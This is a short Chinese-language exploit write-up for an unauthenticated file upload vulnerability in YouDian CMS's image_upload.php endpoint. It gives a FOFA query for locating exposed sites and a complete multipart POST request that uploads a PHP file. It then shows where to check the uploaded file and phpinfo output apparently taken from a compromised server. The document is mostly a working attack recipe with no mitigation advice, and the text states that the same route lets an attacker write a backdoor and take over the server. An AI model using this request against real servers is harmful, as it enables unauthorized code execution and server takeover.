Y7-1友点-CMS建站系统-文件上传漏洞

漏洞描述：

友点CMS建站系统image_upload.php 接口处存在文件上传漏洞，未经身份认证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

网络测绘：

fofa语法：

FOFA：app="友点建站-CMS"

漏洞复现：

payload：

```
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpg

<?php phpinfo();?>
------WebKitFormBoundarydAPjrmyKewWuf59H--
```

效果图:

验证url
/Public/image/uploads/回显的文件名

System	Windows NT R01O9XQHRMO1RJM 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "--with-php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--without-pi3web"
Server API	CGI/FastCGI
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\BtSoft\php\52\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225